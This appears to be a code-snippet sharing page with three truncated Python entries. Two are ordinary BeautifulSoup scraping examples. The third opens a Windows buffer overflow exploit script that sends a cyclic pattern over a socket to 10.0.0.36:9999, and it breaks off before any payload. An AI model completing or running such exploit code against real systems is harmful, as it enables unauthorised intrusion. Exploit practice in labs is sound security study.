What do you want to save?
Add Code snippet
New code examples
-
Html 2021-09-06 04:59:01
scrape beautifulsoup python html attribute value
xmlData = None with open('conf//test1.xml', 'r') as xmlFile: xmlData = xmlFile.read() xmlDecoded = xmlData xmlSoup = BeautifulSoup(xmlData, 'html.parser') repElemList = xmlSoup.find_all('repeatingelement') for repElem in repElemList: print(&q... Add solution -
Python 2021-08-29 23:17:02
how to find pdf file in link beautifulsoup
# Find links to pdf files in HTML with BeautifulSoup import urllib2 from bs4 import BeautifulSoup my_url = 'http://slav0nic.org.ua/static/books/python/' html=urllib2.urlopen(my_url).read() sopa = BeautifulSoup(html) current_link = '' for link in sopa.fin... Add solution -
Other 2021-08-27 04:00:01
steps involved in exploiting windows beased a buffer overflow vuln
#!/usr/bin/pythonimport osimport sysimport sockethost = “10.0.0.36”port = 9999buffer = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae... Add solution